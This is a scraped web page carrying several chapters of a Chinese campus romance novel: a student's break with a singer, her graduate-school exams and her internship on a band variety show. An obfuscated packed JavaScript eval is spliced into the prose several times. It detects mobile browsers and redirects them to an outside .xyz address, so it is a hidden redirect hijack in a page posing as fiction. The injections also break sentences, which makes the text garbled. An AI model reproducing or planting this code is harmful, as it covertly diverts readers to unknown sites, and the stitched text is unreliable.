d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841151|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及花四年时间去探索你真正想要的是什么。” “谢谢你接受我们的采访。” “不客气。” 项婉关掉了摄像机，竖起了大拇指：“齐扬学长，你刚刚的表现太棒了，堪称完美。” “过奖了，我哪有你说的那么好。”齐扬谦虚地笑笑。 很官方的回答。 宋之雯怎么也想不明白，他从哪里学的这一套又一套。 “今天我们的活动就全部结束了，谢谢你的配合。可以帮我在摄像机上签个名吗？”项婉递了一支笔过来。 齐扬犹豫了一下：“这新媒体中心的设备我能签吗？” “这是我自己的，放心签。”项婉拍拍胸口保证。 齐扬潇洒地在上面写下了自己的大名，把笔还给项婉：“也谢谢你，公司的人派了车，我得走了。” 项婉捧着齐扬签过名的相机，跟捧着宝贝似的，喜不自胜。 “我送送你吧。”林嘉和站起身，和齐扬勾肩搭背。宋之雯很佩服他的人际交往能力，谁能看出他和齐扬才认识了一个月。 齐扬朝背后挥了挥手，然后逐渐消失在了门口。 宋之雯回去立刻把拍摄的素材发给了剪辑的同学，又把采访整理了出来，校庆日那天准时推送。 果不其然这篇推送又爆了，尤其是齐扬的校庆和采访视频播放量破了百万，很多人在下面哀嚎怎么那时候在寝室睡觉没去偶遇学长。 热闹过了一阵又渐渐平息，仿佛从来没有齐扬这个人来过一样。乐队的成员都在各自忙各自的事情，只有叶琛因为还是大三的学生，回学校参加过一次期末考试，后面再也没见有人回来过。 宋之雯开始加班加点地准备提交校课题的材料，和项婉反复商量修改，终于赶在截止日期之前提交了上去。六月份的时候结果出来了，虽然只是三等奖，但也能加一点分数，再加上绩点，这回宋之雯顺利拿到了奖学金。 钱发下来的那天她心情舒畅，忍不住想去湖边走走。走着走着，就又到了她和齐扬坐过的那张长椅前，宋之雯的目光短暂在上面停留了一下，然后迅速移开，继续往前。 音乐学院那栋白色的建筑又映入眼帘，宋之雯原本想直接走的，却被门口巨大的海报吸引了注意。 事实上她想不注意都难，因为上面的内容是毕业班的音乐会，齐扬赫然居于C位。 她从来没听说过齐扬要回来的消息，但这个消息却在大范围内都传遍了，她一直被蒙在鼓里。 宋之雯想了想，还是给何瑜发了条消息：“瑜姐，今天我看到毕业班音乐会的海报了，你们要回来参加毕业典礼吗？” 这回何瑜回得很快：“对啊，毕竟这一届是我亲自带出来的学生，还是很亲近的。我们特意跟公司请了假，都会在音乐会上表演的。” 完了她又多问了一句：“齐扬没跟你说吗？” 36. 第三十六章 女孩 “没有。”宋之雯斩钉截铁地回答，她想了想又加上一句：“能帮我搞张票吗？” “我尽量吧，已经有很多人问我要票了，好的位置都被抢完了。” “没事，我不在意位置，只要有就行。” “那行，我帮你搞。” 学校举行毕业典礼那天，宋之雯收到了何瑜寄来的票，只是位置的确很偏，在后排的边上。 去取快递的途中，她看到林荫道上无数穿学士服的人来来往往，在草坪上、在标志物前摆各种姿势，留下他们与这个学校最后的记忆，每个人眼里都充满了对未来的憧憬。 宋之雯有点感慨，不知道两年后的自己会不会像他们一样。 根据何瑜的消息，他们下午才到，要参加学院的拨穗仪式，要和班级同学聚餐，时间非常紧凑，建议她直接来看毕业晚会。 宋之雯只回复了一个“好”字。 下午的时间一晃就过了，宋之雯简单地吃了个晚饭，就赶到了音乐学院的报告厅。 何瑜待在门口迎接学生，一见到她就拼命地招手。 宋之雯跑了过去，问道：“当艺人的生活怎么样？瑜姐？” “唉，别提了，比当大学老师累多了。我爸妈听说我放弃了那么好的编制，至今不肯理我，算了，不说了不说了。”何瑜硬拉着她进去，“我带你去我们后台看看。” 报告厅的后台很小，只有一个操纵台，周围散落着各种话筒和电线设备，一堆穿着演出服的人正在做准备，旁边还排着一排行李箱。 何瑜抱歉地看着她：“我们的行程很紧张，演出完就得走了。” “没事，你们能回来就很好了。” “他们在这里。”何瑜把她拉到一个角落，然后很大声地说道，“surprise，看看谁来了？” 吴衡回过头来，一脸惊喜道：“哟，学妹啊，好久不见。” “对人家态度好点。”何瑜瞪了他一眼。 “我这已经态度够好了好吗？”吴衡委屈。 齐扬也偏过头看她，在目光对视的那一刹那，他的眼神怔住了。 何瑜还大言不惭地拍着他的肩膀：“你回来怎么没跟人家说啊？人家都不知道。” 齐扬只吐出两个字：“忘了。” 气氛一时间有点尴尬。 宋之雯很识趣地转身：“我就先过去坐着啦，不打扰你们排练了。” 她在何瑜所给的那个位置坐下，几乎快贴着墙了，得偏头才能看到舞台，但其他地方都坐得满满当当，没有什么换座位的余地。 主持人上来报幕，灯光暗了下来，预示着流行演唱专业1班的节目正式开始。 先上来的是一群妆容精致的女孩子，跳了当下最流行的一支女团舞。不得不说学音乐的就是不一样，动作舞姿都一比一复刻，卡点很准，边唱边跳气息也没有乱。 后面还有各种形式的独唱、男女对唱、合唱。虽然这里大部分的人都是冲着齐扬来的，但对前面的节目也表现出了极大的尊重，每结束一个就很捧场地鼓掌。 直到何瑜上场，算是一个小小的高/潮，她选了一首极高难度的歌曲，一个接一个的高音，将自己的唱功展露无疑，底下一片叫好声。 齐扬的节目在倒数第二个，他今天的装扮很简单，就穿了白色的班服和牛仔裤，素着脸什么妆容都没化，但舞台灯光打下来的时候却依然耀眼。 他只拿了一把吉他，乐队都没带，往凳子上随意地一坐，把立麦调整到合适的位置：“今天既然是我们班的毕业音乐会，就当是回家了，不搞那么多复杂的形式，这首歌是我自己写的，名字叫做《我的女孩》。” 全场都安静了下来，静静地听他弹响第一个音。吉他的旋律很简单，几乎没有过多的修饰，但在这空旷的报告厅里却好听得突出。 温柔的眼睛会说话 倔强的嘴却不会表达 长发披肩拂过我脸颊 此刻我只想把你留下 他的声音前所未有的温柔，不再是横冲直撞带着棱角，而是化成了一汪水，让人深深沉溺其中。 我的女孩你有着世界最独特的色彩 纯白无暇却又热情澎湃 即使路上再多艰难阻碍 你依然坚信爱还会在 宋之雯越听越觉得不对劲，这歌词写得不像余念，倒像是......自己？ 所以齐扬不告诉她参加音乐会的事情，就是为了把她写进歌里编排她的？宋之雯气笑了。 齐扬的节奏越弹越快，嘴角笑容飞扬，眼神里充满了爱意，但他至始至终都没有往宋之雯的方向看过一眼。 观众也被他的热情所感染了，心里止不住地好奇那个歌里的女孩究竟是谁。 歌在旋律的最高处忽然静止了下来，紧接着旋律转缓，齐扬一下一下地拨动着琴弦，唱出了最后的那句结尾：“我的女孩，愿你平安喜乐，享受世间最多的爱。” 一首歌结束后，掌声雷动，齐扬深深鞠了一躬，转身下了台。 不过很快他又上台了，因为最后一个节目他是领唱。 台上的男男女女穿着干净整洁的班服，手拉着手按照次序站好，把齐扬和何瑜围在中间，身体随着音乐轻轻舞动，眼神格外的严肃认真。他们唱的是《凤凰花开的路口》。 又到凤凰花朵开放的时候 想起某个好久不见老朋友 齐扬和何瑜的声音一开始有点闷着的，势单力薄，并不响亮，直到副歌部分有越来越多的人加入合唱，声音才逐渐大起来，汇聚成了一片音乐的海洋。 时光的河入海流 终于我们分头走 没有哪个港口 是永远的停留 脑海之中有一个 凤凰花开的路口 有我最珍惜的朋友 许多女生唱着唱着就哭了，用手在那里擦眼泪。齐扬的眼眶也红了，手有点抖，但还是坚持着说道：“今天，我们1班的同学就正式毕业了。很感谢四年的时光有你们的陪伴，最铁的兄弟吴衡、韦峰，严厉又耐心的瑜姐，细心又善良的学弟叶琛，往后我们就像一股股溪流汇入大海，但不管在哪儿，都能发光发热！” 他转身 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“在忙，没空回。” “没空？那瑜姐怎么有空？”宋之雯一股火就上来了。 “后面会回得越来越少的，毕竟当艺人不是那么简单，你可能今天光芒万丈，明天也可能跌落神坛，睡在潮湿阴冷的地下室。”齐扬哑着嗓子说道，“好好读书吧，然后找个好工作。” 宋之雯觉得一口气堵在胸口噎得慌，只能咬着牙冷冷地说了一句：“我没看错，你果然是个混蛋。” “就当我是好了。”齐扬站起身，快速拉过行李箱扬长而去，只留给她一个背影。 他低着头一口气走到了校门口，拉开车门坐了上去。何瑜关切地问道：“你哭了？” “没有。”齐扬冷漠地别过头去，一滴泪却无声地落了下来。 宋之雯快步回了宿舍，这才将情绪痛快地释放出来。她从柜子里拿出吉他，抄起小刀就往琴弦划去，边划边哭。 舒青竹被她这副模样吓了一跳：“你怎么了？齐扬又惹你了？” 宋之雯说不出话，只能点点头。 舒青竹叹了一口气：“这个混蛋，反正以后你们也不搭界了，就当从来没有这个人。” 宋之雯把琴弦都划断了，琴身也布满了划痕，才觉得发泄了个痛快。她抹了一把脸，走下楼，利落地把那把烂琴扔到了垃圾堆里。 回到宿舍后，她坐在椅子上，长久地发着呆。手指无意间触到了音乐播放器，是她一直在听的那首歌，童安格的《明天你是否依然爱我》。 所有的故事只能有一首主题歌 所有的爱情只能有一个结果 我深深知道那绝对不是我 既然曾经爱过又何必真正拥有你 即使离别也不会有太多难过 午夜里的旋律一直重复着那首歌 Willyoustilllovemetomorrow Willyoustilllovemetomorrow 37. 第三十七章 备考 宋之雯已经记不得自己是怎样爬上床睡着的了，只知道自己醒来之后神清气爽，温暖的阳光透过床帘照在被子上，暖烘烘的。 毕竟年轻，睡一觉就没什么事了。 她决定从今天开始重新做人，往书包里塞了好几本专业书，起身前往图书馆复习。 让自己忙起来果然有用，宋之雯过了几天就把齐扬的事抛在了脑后，仿佛齐扬从未出现在她的世界。 就在这时新媒体中心发来了通知，打算给这届卸任的学长学姐举办一个欢送会，请所有人准时参加。 宋之雯这才反应过来，原来林嘉和都快大四了，也要面临实习找工作的问题了。 时间过得真快啊。 当天晚上她准时到了学校的演播厅，看到林嘉和坐在了最前面一排，微笑着招手示意她坐到旁边。 宋之雯刚坐下的时候，欢送会就开始了。现任的主席上台播放了一段简短的VCR，里面记录了很多平时工作的片段，大家认真地观看着，陷入了回忆之中。 紧接着是宣布卸任的人员名单并上台发言。轮到林嘉和的时候，他先看了一圈台下的人，然后风趣地说道：“平时被我们压榨一定苦不堪言吧？恭喜你们终于熬出头了，可以压榨别人了。” 底下的人都笑了。 宋之雯拿出了早就准备好的花束，上台送给林嘉和。林嘉和久久注视着花束，感慨地说道：“我是看你一步步变得越来越好的，现在轮到你当部长了，我相信你一定能担当得起这个职位。” “感谢部长的信任，保证完成任务。”宋之雯冲他俏皮地笑了一下，逗得林嘉和也跟着笑了。 合照完了之后，一大群人乌泱泱地朝校门口的铁锅炖涌去，满满地围坐了好几桌。开啤酒声和交谈声混合在了一起，好不热闹。 酒足饭饱之后，有人陆陆续续地离开。林嘉和这时候看向宋之雯，指了指门外：“出去走走？” 宋之雯点点头，起身和他出去。初夏的晚上也不炎热，清风拂来，穿过她的发梢，让人全身舒爽。 “部长打算考研还是直接工作呀？”宋之雯问。 “考研。”林嘉和毫不犹豫地回答。 “哪个学校哪个专业呀？” “E大的新闻学。” 宋之雯倒抽了一口凉气，传媒类的本身就很难考了，E大又是传媒类排名第一的院校，更是难上加难：“可是我听说专业课又难，招得又少......” “英语的研究生也并不好考。”林嘉和打断了她。 有道理。 “就算只招一个人，那为什么不能是我呢？”林嘉和停下来看着她，“我问你句实话，你觉得在新媒体中心工作开心吗？” 宋之雯拼命地点头：“开心啊。” “那说明你是喜欢这份工作的，和你的专业相比呢？” 宋之雯思索了一下：“我们专业出来要么公务员要么老师，这两个我都不太想当。” “我也是这么想的。”林嘉和笑了一下，像是找到了共鸣，“所以我选择了考研换专业，将来当一名外文记者。” 宋之雯很佩服他的远大理想，同时心理又有点忐忑：“你已经决定好以后一定要干这个了吗？” “我是成年人了，能为自己的行为负责。我的目标只有E大一个学校，如果今年考不上就明年，我现在也可以靠做家教挣钱。” 宋之雯不知道该说什么，半天只能挤出一句：“加油部长，我相信你。” “你也可以试着考研的。”林嘉和突然说。 “我？我行吗？”宋之雯指了指自己。 “怎么不行？机会都是由你自己创造的，不过你才大二，还可以考虑考虑，不用那么急着准备。” “部长......”宋之雯看着他，很诚恳地说道，“我发现你人真好，和气又温柔，和很多男生都不一样。” “是吗？”林嘉和低头笑了起来，眼神里流露出一丝辛酸，“不会觉得我太缺少阳刚之气了吗？” “谁规定阳刚之气一定是要皮肤黝黑身体强壮，也可以是这个人做事靠谱有责任心。” “谢谢你。”林嘉和的眼睛红了，声音有点发抖，“其实从出身起我就发现我和别人有点不一样，我不喜欢跑，不喜欢跳，也不喜欢打篮球这种对抗性运动，只想一个人静静地坐着。但我的父母包括周围的男生都拿这一点攻击我，觉得我不像个男孩子。” “与众不同并没有什么错。”宋之雯的声音异常坚定，“这个世界很多元化，要允许不同的人存在。” “阿雯。”林嘉和轻声叫她，“你不要只觉得我很好了，你也很好，比很多女孩子都好。” “谢谢。”宋之雯的笑容在夜空里格外明亮。 “好了，回去吧，期末加油。我也要准备考研去了，还有专业书没看完。”林嘉和加快了脚步。 宋之雯对他做了个“加油”的手势，就和他分道扬镳了。 期末周宋之雯全身心地投入了复习中，考出来的成绩非常亮眼，于爱丽都高兴得合不拢嘴。 而林嘉和，也在闷热的暑假里，留校开始了封闭备考。 宋之雯怕打扰到他，很少主动联系，偶尔聊几句的时候，林嘉和也是很乐观地和她汇报进度一切顺利。 开学之后记者团由她担任部长，开始带新一批的人。宋之雯看着新生战战兢兢的样子，仿佛看到了曾经的自己，因此他们犯了点错误都柔声安慰没关系，慢慢来。 项婉就不同了，因为设备很贵，所以每次差点磕着碰着的时候，她都会着急得厉声喝斥。 宋之雯和她说过不要那么凶，她还不以为然，反而觉得宋之雯太温柔了，等到几万块打水漂就知道了。 这一柔一刚的搭档，在新媒体中心办事效率倒格外高。 林嘉和偶尔会回记者团看看她的工作，每次都是满意地点点头，说有他当年的风范。两人也会相约一起在图书馆学习，面对面沉默着翻书页，等到闭馆铃声响起的时候很有默契地一起走。 天气渐渐地凉了下来，转眼就到了十二月底，是研究生考试的日子。 那天宋之雯呆在宿舍也很紧张，辗转反侧什么都干不进去，考完之后又不敢问林嘉和怎么样。直到过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868463|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两个月，林嘉和才主动甩过来一张笔试第一的截图。 宋之雯高兴之余又担心：“E大会不会喜欢跨专业的？” 林嘉和笑笑：“你不试试怎么知道？别听网上瞎说。” 果不其然，林嘉和最后以初试复试第一的成绩被E大录取。 宋之雯忽然觉得心底里生出了一股力量，推着她往前走：“我也要考研。” 她虽然绩点不错，但因为学院竞争太激烈，还是处于保研的边缘上，而且她也询问过老刘了，跨专业保研基本上不可能。 “巧了，项婉也考研。”林嘉和回复道。 “那我们就一起来E大见你。” 林嘉和愣了一会儿，才郑重其事地打下这几个字：“好，我在E大等你们。” 就这样，宋之雯放弃了保研夏令营，老师都替她可惜，舒青竹干脆戳着她的脑门问道：“你傻啊，保研汉语言也可以干传媒的，至于自己考吗？” 宋之雯不为所动：“我已经决定了，干自己喜欢的事。” 舒青竹也放弃劝她了。 进入考研教室之前，宋之雯去了一趟理发店，和理发师说道：“帮我把头发剪短，再染黑。” 理发师用手反复拨弄着她的长发，十分可惜：“这么好看的头发，你确定要剪吗？” 宋之雯斩钉截铁：“剪。” 咔嚓几刀之后，原先浓密的卷发变成了短短的波波头。宋之雯拿根皮筋把头发随意一扎，然后哼哧哼哧地把所有书搬到了图书馆的考研教室，找了个固定的位置开始备考。 新传的专业书籍和汉语言完全不一样，又厚又多，要从头开始啃。宋之雯啃得异常艰难，先要在海量的信息中把重要的内容划出来，然后理解记到笔记本上，有时候一遍看不懂还要好几遍。 她每天都重复着这苦行僧一般的工作，头发也没时间洗，变得油光满面。 好在舒青竹也准备考公，留下来陪她了一段时间。她看着宋之雯面前堆起来的厚厚一叠书本，皱了皱眉：“我真佩服你，那么多书要背，要我肯定背不下来。” 宋之雯瞟了一眼她正在做的行测题：“我也做不来行测题，太无聊了。” 两个人都笑了。 不过舒青竹属于三天打鱼两天晒网的类型，学到一定时间就嚷嚷着不行了要回去了，留下宋之雯一个人孤军奋战。 考研教室可以延长时间，在闭馆铃声响了之后也可以继续学习。一次宋之雯把所有的学习任务完成后，抬起头惊觉没剩几个人了，急忙抓起包往寝室赶。很不幸的是，她到之前寝室门已经关了。 宋之雯只能狼狈地站在楼下，打电话给舒青竹让她下来开门。过了一会儿，舒青竹穿着条睡裙跑下来，拉开了旁边的窗户，说：“门锁着，又不好叫醒阿姨，你翻窗进来吧，我说你不用这么拼吧？” 宋之雯摇摇头：“没办法。”说完利落地抬起长腿跨到窗台上，一双手借着力撑起身体翻进了窗户里，整个动作一气呵成。 舒青竹看得目瞪口呆。 宋之雯小心地把窗关好：“走吧，以后可能要经常翻了。” 38. 第三十八章 启程 她说得没错，往后舒青竹给她开窗都开习惯了。 九月份舒青竹要前往学校实习，留下了她一人。于是她和项婉就成为了固定的考研搭子，两人互相监督背书，吃饭的时候吐吐苦水，竟然也能乐在其中。 然而就在这时E大发布了考纲，又新增了两本专业书。 刷到这个消息的中午，宋之雯正在攻克一个极难背的定理，一瞬间呆住了。她想刷刷别的东西转移注意力，朋友圈却又都是保研C9的消息。 崩了很久的弦就这么轻易地断裂开来，她很没有形象地趴在桌上哭了。 哭了很久之后，她翻翻手机列表，鬼使神差地就停在了何瑜的界面上，给她发了条消息：“瑜姐，我觉得我实在撑不下去了。” 至于齐扬的微信，在他们分别那天就删掉了。 何瑜马上回了：“怎么了？你别吓我。” “我想考新传的研究生，但是又觉得好难，是不是我没选择保本专业的研究生就是个错误的决定？” “你很喜欢新传吗？” “很喜欢，我觉得我做采访，和你们一起策划活动的时候就很快乐。” “那就去做吧，不要管什么对不对的。” 过了很久，何瑜又发了一条消息：“前几届也有从汉语言跨考新传的同学也有，我现在联系到她了，看看能不能来做考研分享吧。” 宋之雯一下子精神了，擦了擦眼泪，手抖着打字：“谢谢瑜姐。” 十月份的时候，文学院举办了一场考研分享会，其中就有何瑜介绍的学姐。宋之雯顺利加上了人家的微信，发现自己遇到的问题人家也遇到过，并且学姐还很好心地给了她许多精简版的资料。 宋之雯的心逐渐平静了下来，开始不再想什么值不值得的问题，只专心做好每天的复习计划。 日历一天一天地被撕掉，凛冬也逐渐来临，天气愈发寒冷。就在离考研只有半个月的时候，宋之雯发烧了。 先出现的症状是浑身无力，宋之雯只当是太累了，早早回去睡了，谁知醒来就浑身酸痛，口干舌燥，一量温度39度。 虽然自己还有很多的书没背完，但眼下只能休息。宋之雯由舒青竹扶着到附近的医院打了点滴，然后就回到宿舍休息。 这一觉睡得并不安稳，她梦到了很多以前的事情，而且都是以片段杂乱无章地出现。 醒来之后她只觉得头疼欲裂，迷迷糊糊听到钟小欢敲床沿的声音：“我热水已经帮你打好了，还买了点水果，有空记得吃啊。” “谢谢。”宋之雯有气无力地回答，心里感到一丝温暖。 这场烧发了足足三天才好。痊愈以后宋之雯再也不敢太拼命了，每天都赶在闭馆铃声之前回去。 考试的那天意外的很暖和，大清早就出了太阳，将学校的林荫道都洒满了阳光。宋之雯就这么沐浴在阳光里，跟随浩浩荡荡的人群奔赴考场。 试题很难，从英语考完就有人唉声叹气，弃考的人越来越多，到最后一门专业课只剩了一半的人。宋之雯虽然有很多不确定，只能凭感觉写，但好歹也坚强地写满了。 考完之后她觉得全身的力气都被抽空了，一觉睡到了中午，这是她有史以来睡得最舒服的一个觉。 醒来之后她估了分数，大概能过学校的复试线，便开始马不停蹄地准备复试。 于爱丽已经唠叨了她好几回没事考什么研，早点参加工作多好。宋之雯都以要前往最高等的学府深造为由给他们洗脑，当然她没告诉他们考的是新传。 出分的那天早上，她偷偷地起来把自己关在房间里，登录网站输入密码，看到结果后她捂着嘴不让自己交出来，分数比她预估的高了三十分。 她立刻给林嘉和分享了这个好消息，林嘉和也为她感到高兴，并分享了一些复试经验，让她放宽心，老师们都很好。 复试是线下的形式，宋之雯瞒着于爱丽一个人去了B市。在考场里她保持着镇定的微笑，把练了无数遍几乎能信手拈来的回答展示了出来。 结果很快就出来了，显示拟录取。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881592|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之雯这才姗姗来迟地告诉于爱丽真相，却见于爱丽的脸色马上阴沉了下来。 “翅膀硬了是吧？敢瞒着你妈了。我从你们学院的推送才知道你考的根本不是汉语言。你学这个专业就是为了追明星吧？现在这么多小女孩追星，你也跟着鬼迷心窍？” “我是自己喜欢。” “我才不信呢，放着好好的公务员不做，去做这个日夜颠倒的工作？我告诉你，这个研究生我不会出一分钱。” “那我自己挣钱。” “你还敢顶嘴？”于爱丽脸颊通红，冲过来就要打她，被宋岩峰一把抱住，“冷静冷静，阿雯，怎么跟你妈说话的呢？” 于爱丽找了把椅子坐下，抚着胸口顺气，“行，你自己大了有主意了，我不管你了。” 宋岩峰走过来，拍拍宋之雯的肩膀：“你妈在气头上，等她消气了去道个歉啊。学费的事你不要担心，爸爸会出的。” 宋之雯没有理会，自顾自地回了房间。 从那天起，于爱丽有将近一个月没有理她，直到发现这已经是不可改变的事实了，才无奈接受了。 六月是收获的季节。 杨灵和钟小欢都找到了教师工作，舒青竹运气爆棚考上了公务员，宋之雯凭借两次奖学金和考研成绩成为了优秀毕业生。当她从院长手里接过证书的时候，才意识到，自己是真的毕业了。 老刘欣慰地看着她：“我看人不会错的，你将来一定很有出息。” 同学们都在互相拥抱道别，因为她们心里清楚，这可能是她们人生的最后一面。 寝室的四个人也聚了一顿餐，把以往的恩怨都抛在了脑后。那天晚上她们都喝了很多酒，把四年来发生的事全说了一遍，又哭又笑。 第二天早上醒来，杨灵和钟小欢已经先走了，舒青竹也有事离开。宋之雯慢腾腾地收拾好东西，最后看了一眼她生活过四年的地方，但她心里并没有难过，有的只是满心的期待。 如果你生来就是一只飞鸟，请尽情地飞向更广阔的天地吧。 39. 第三十九章 重逢 九月份宋之雯前往E大报道，在这之前她得知了项婉也考上的消息，因此千方百计地申请和项婉一个宿舍。 林嘉和已经提前收到消息，站在学校门口等她了。一见面就拉过她的行李箱，亲切地问候：“可以啊，说考上还真考上了。” “那是因为部长教得好。” “太抬举我了。”林嘉和笑了，边走边和她介绍，“学校很小，这几栋是教学楼，这几栋是宿舍，外加一个食堂。B市的空气可能有点干，南方人不适应，哦还有，这里的水贼难喝，最好还是买矿泉水。” “部长。”宋之雯乐不可支，“你怎么和老妈子似的。” “唉，没办法，操心底下的小干事操心惯了。”林嘉和扛着她的箱子上了楼，放在门口，“因为我们本科都不是这个专业的，所以尽量还是要多找实习，多锻炼锻炼。” 宋之雯受用地点点头。 这时项婉也看到了林嘉和，跑出来打招呼：“部长好。” “可惜不是一个专业的，不然还能一起上课呢。” 宋之雯很不好意思地看了他一眼：“抱歉部长，我们还是背叛了新闻。” 在选专业的时候，她犹豫了半天，最终还是觉得新闻太枯燥了，选择了更有意思的网络新媒体方向，项婉也同理。 “没事，各人都有各人的选择，不分对错。”林嘉和转过身，“那我先走了，拜拜。” “有空一起吃饭啊。”宋之雯在后面喊道。 林嘉和朝她比了个“OK”的手势。 研究生的生活果然忙碌，所有的课程都压缩到了第一年。而且因为时间紧凑，老师也只能讲个大概，落下的知识都要自己去补。宋之雯又成了图书馆的常客，找本科的专业书籍来看，还经常去旁听。 这么一晃就快到了寒假，一天在宿舍的时候，项婉忽然回过头来对她说：“阿雯，有一个香橙视频的实习，之前的学姐嫌太累了，想换人，你去不去？” 香橙视频是目前国内最大是视频平台之一，有许多热播剧都被他们买断了。不过他们对实习生的严苛也是出了名的，去过的都说黑白颠倒，给的钱还少。 宋之雯仔细思考了一会儿，还是下定了决心：“去，我这个跨专业的人就不要挑什么实习了。” “你想好了，很苦的，一旦去了就要好好干。如果再跑路我估计香橙视频都不会要我们的实习生了。” 宋之雯重重地点头：“你放心，我一旦做出了决定就是想好了。” “那我就和学姐说了。”项婉劈里啪啦一通打字，“学姐说了，你明天就可以去报到。” 明天？宋之雯惊讶于他们办事的迅速，但还是没有怨言地收拾了东西，第二天准时出现在香橙视频总部的楼下。 一个棕色短发、挂着工牌的女人出来迎接她，大概三十出头的年纪，一身黑色的西装利落飒爽，只是就算化妆也盖不住她脸上的疲惫。 她朝宋之雯伸出了手：“新来的实习生是吧？我叫王清妍，叫我王姐就好，以后就由我带你的实习。” 宋之雯不知道该说什么，便也伸出了手回握，说道：“王姐好。” 王清妍把她领进了大楼里，里面是一间一间分隔的办公室，其中有一个摆满了电脑，一群人正对着屏幕奋战。她介绍道：“这是剪辑部门。” 再往里面走的一个办公室整齐了一点，被分割成一个个有规律的工位，上面摆满了文件。王清妍径直往里面走：“这就是你要工作的地方，活动策划部。我们的日常工作主要是综艺节目的策划和艺人的对接，当然正式的录制也要跟。” 她转了过来，眼神上下审视着宋之雯，似乎要把她看光：“有些话我先说在前头，我们这个行业熬夜是家常便饭，能接受的话再来，如果觉得苦现在就可以走。” 她等着宋之雯作出反应，但宋之雯站在那里一动不动。 “很好。”她露出了满意的笑容，把一叠文件摆在了她面前，“我们最近在做的一个项目是一个乐队综艺，叫《最强live》，这是初步方案，你先熟悉熟悉，有不懂的问我。另外节目的录制可能要占用一点你的寒假时间了，我们到过年才放几天，能接受吗？” “能。”反正现在回家于爱丽也不会给她好脸色看，宋之雯没有料到这个人这么固执，到现在还没有消气。 “行。”王清妍拍了拍她的肩膀，“我还有别的项目要对接，一会儿再回来看你。” 宋之雯翻开文件仔细地看了起来，这档综艺主要是为了带给观众更好的live体验，宣传国内小众乐队而设置的。特点就是音乐节的模式，都采用现场音源，不修音。 看到这里，她的嘴角抽了抽：能来的乐队很有勇气，这要是一个不小心来个车祸现场，得放到网上循环播放了，做成鬼畜视频也有可能。 翻到拟邀嘉宾那一栏，有知名歌手于川领衔的飞花乐队，熟悉的麋鹿乐队，Urban乐队，还有......晨星乐队？ 宋之雯揉揉眼睛，怀疑自己看错了，但贴的照片分明是齐扬他们。 她只好装作不知道地又看了下去，等到王清妍回来了，立马问道：“王姐，这里拟邀艺人的名单是确定了吗？” “基本确定了，除了于川老师还要再沟通沟通。” “那什么时候开始正式的录制呢？” “先不急，两天之后乐队抵达，第一步拍摄宣传照，再彩排，最后才是正式的录制。” 宋之雯失神地点点头。 她一下午都是心神不宁的，下班之后回到宿舍，连项婉在叫她也没听见。无奈之下项婉只好挡在了她的面前：“你怎么了？上班上傻了？” 宋之雯叹了口气：“我和你说件事，你可千万别惊讶。” “说吧。” “齐扬要来录制我们的节目了。” “我靠。”项婉惊得跳了起来，“这也太巧了吧？不过话说这两年你和他没联系吗？” 宋之雯摇摇头。 “没事，反正没联系了，你就当普通同学嘛，大家都是工作，录制完结束。” “有道理。”宋之雯窝在宿舍的椅子里，打开手机输入晨星乐队，她很好奇齐扬这两年干什么去了。 然而接下来弹出的内容让她整个人怔住了。 第一条就是娱乐新闻，已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894821|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一年前的了。说制作人涂龙和无忧娱乐的老板闹翻了，两人打起了官司，老板卷款跑路，导致无忧娱乐资金断裂，旗下艺人不得不解约。 至于晨星乐队怎么样了，新闻上也找不到，最近的就是一年前他们演出的照片。 她原本以为齐扬已经是风风光光的大明星了，没想到他过得这么不好。而这些何瑜从来没有和她提过，每次聊天都是一副轻松的语气。 所以这次节目对他们来说，无疑是一根救命稻草。 宋之雯就怀着这样复杂的心情开始了艺人的对接工作。 她知道万事开头难，没想到这么难。 光是确定艺人宣传照的拍摄顺序就花费了好大精力，各个艺人抵达的时间不同，有的没什么行程可以提前到，有的行程比较满的那天还未必来。而且每个人的要求还不一样，有的说想下午拍早上起不来，有的说不想晚上拍要早点回去睡觉。 宋之雯说尽了好话，才大致确定了一个顺序，已经是焦头烂额，而且根据实际情况还可能有调整。 拍摄当天她起了个大早，早早等候在公司大楼下。王清妍领着一个寸头的年轻人走过来：“这是我们的摄影师，叫张浩，我们都叫他耗子。” 